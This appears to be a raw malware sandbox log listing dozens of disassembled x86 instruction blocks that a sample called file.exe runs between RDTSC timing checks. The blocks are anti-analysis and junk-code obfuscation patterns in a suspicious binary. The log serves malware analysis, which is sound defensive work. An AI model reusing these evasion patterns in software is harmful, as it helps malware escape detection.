Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE8878 second address: EE8880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EE7605 second address: EE760A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEA858 second address: EEA8F8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAB30C06326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FAB30C06328h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov ebx, eax 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov ebx, dword ptr [ebp+122D2BDBh] 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov edi, dword ptr [ebp+122D2E65h] 0x00000043 mov eax, dword ptr [ebp+122D00B1h] 0x00000049 mov bl, cl 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push esi 0x00000050 call 00007FAB30C06328h 0x00000055 pop esi 0x00000056 mov dword ptr [esp+04h], esi 0x0000005a add dword ptr [esp+04h], 0000001Ch 0x00000062 inc esi 0x00000063 push esi 0x00000064 ret 0x00000065 pop esi 0x00000066 ret 0x00000067 jl 00007FAB30C06326h 0x0000006d movzx ebx, di 0x00000070 nop 0x00000071 jnl 00007FAB30C0632Eh 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007FAB30C0632Ah 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB882 second address: EEB887 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEC6A1 second address: EEC6EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jnl 00007FAB30C0632Ch 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FAB30C06328h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D307Bh], edi 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 jbe 00007FAB30C06328h 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEA8F8 second address: EEA8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB887 second address: EEB8FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a clc 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov edi, dword ptr [ebp+122D2E60h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f adc ebx, 6598527Dh 0x00000025 mov eax, dword ptr [ebp+122D0D25h] 0x0000002b movzx edi, dx 0x0000002e jmp 00007FAB30C06333h 0x00000033 push FFFFFFFFh 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007FAB30C06328h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f xor dword ptr [ebp+122D23E2h], ecx 0x00000055 mov edi, ebx 0x00000057 nop 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push esi 0x0000005d pop esi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB8FB second address: EEB8FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEB8FF second address: EEB905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEC891 second address: EEC896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEC896 second address: EEC89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EED924 second address: EED92F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FAB30D3D446h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEE826 second address: EEE82B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EEE82B second address: EEE831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E9E7FE second address: E9E808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EF8438 second address: EF8447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D44Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8F8D4 second address: E8F923 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAB30C06326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FAB30C06343h 0x00000010 jng 00007FAB30C06326h 0x00000016 jmp 00007FAB30C06337h 0x0000001b ja 00007FAB30C0633Dh 0x00000021 pushad 0x00000022 push edx 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E8F923 second address: E8F943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAB30D3D446h 0x0000000a jne 00007FAB30D3D446h 0x00000010 popad 0x00000011 popad 0x00000012 jl 00007FAB30D3D454h 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007FAB30D3D446h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EF7B96 second address: EF7BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EF7CEF second address: EF7CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EF7FE8 second address: EF8023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06338h 0x00000007 jmp 00007FAB30C06338h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EF8023 second address: EF8042 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D450h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jnl 00007FAB30D3D446h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EFC124 second address: EFC14B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FAB30C06326h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EFC14B second address: EFC17D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D44Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007FAB30D3D457h 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EFC17D second address: EFC185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EFC185 second address: EFC18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F024EB second address: F02502 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAB30C06326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FAB30C0632Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F02502 second address: F0250A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0250A second address: F02512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01797 second address: F0179B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0179B second address: F017AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F017AD second address: F017C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAB30D3D44Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F017C0 second address: F017EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06331h 0x00000007 pushad 0x00000008 jmp 00007FAB30C06333h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01A50 second address: F01A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01A56 second address: F01A8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FAB30C06340h 0x0000000f jmp 00007FAB30C0632Ch 0x00000014 jmp 00007FAB30C0632Eh 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01BFF second address: F01C0C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAB30D3D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01D84 second address: F01D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAB30C0632Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01D9E second address: F01DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FAB30D3D446h 0x0000000a jmp 00007FAB30D3D44Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F01DB2 second address: F01DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FAB30C06326h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F03ADB second address: F03AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F03AE0 second address: F03B06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06330h 0x00000007 jne 00007FAB30C06328h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnl 00007FAB30C06348h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F03B06 second address: F03B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F03B0A second address: F03B1E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAB30C06326h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FAB30C06326h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F095BC second address: F095C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F082F0 second address: F08325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FAB30C06326h 0x00000009 jmp 00007FAB30C06334h 0x0000000e jmp 00007FAB30C06336h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08325 second address: F08338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FAB30D3D452h 0x0000000b ja 00007FAB30D3D446h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0847D second address: F0849D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAB30C06335h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0849D second address: F084A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F084A1 second address: F084AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F084AA second address: F084B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08609 second address: F0860F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0860F second address: F08613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08613 second address: F08661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06338h 0x00000007 jmp 00007FAB30C0632Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FAB30C06338h 0x00000014 jmp 00007FAB30C0632Dh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08661 second address: F0867B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FAB30D3D450h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0867B second address: F08681 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F089DE second address: F089E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F089E4 second address: F089E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F089E9 second address: F089EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08B41 second address: F08B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08C95 second address: F08CB8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB30D3D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAB30D3D459h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08CB8 second address: F08CF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007FAB30C06334h 0x00000010 ja 00007FAB30C06326h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FAB30C06331h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08CF7 second address: F08D22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D459h 0x00000007 jmp 00007FAB30D3D44Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08D22 second address: F08D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08E75 second address: F08E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F08E7D second address: F08E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAB30C06326h 0x0000000a popad 0x0000000b push esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0900E second address: F09012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F09012 second address: F09018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F09018 second address: F09028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FAB30D3D446h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F09028 second address: F0902F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0902F second address: F0903F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D44Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F0945D second address: F09462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F106D8 second address: F106DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F106DE second address: F106E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FAB30C06326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F106E9 second address: F10711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAB30D3D451h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FAB30D3D44Ch 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F10711 second address: F10720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F158D2 second address: F158D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDB61F second address: EBDE78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB30C06335h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 add edi, dword ptr [ebp+122D2CABh] 0x00000016 call dword ptr [ebp+122D2DA3h] 0x0000001c pushad 0x0000001d pushad 0x0000001e jng 00007FAB30C06326h 0x00000024 jg 00007FAB30C06326h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d push esi 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDBCDD second address: EDBCE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDBFE4 second address: EDBFF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FAB30C0632Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDBFF2 second address: EDC006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FAB30D3D44Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC006 second address: EDC087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAB30C0632Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FAB30C06328h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 movzx edx, ax 0x0000002b push 00000004h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FAB30C06328h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 movzx edx, cx 0x0000004a nop 0x0000004b jmp 00007FAB30C06336h 0x00000050 push eax 0x00000051 pushad 0x00000052 push esi 0x00000053 push edi 0x00000054 pop edi 0x00000055 pop esi 0x00000056 jo 00007FAB30C0632Ch 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC36F second address: EDC373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC373 second address: EDC385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC385 second address: EDC38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC38B second address: EDC38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC38F second address: EDC393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
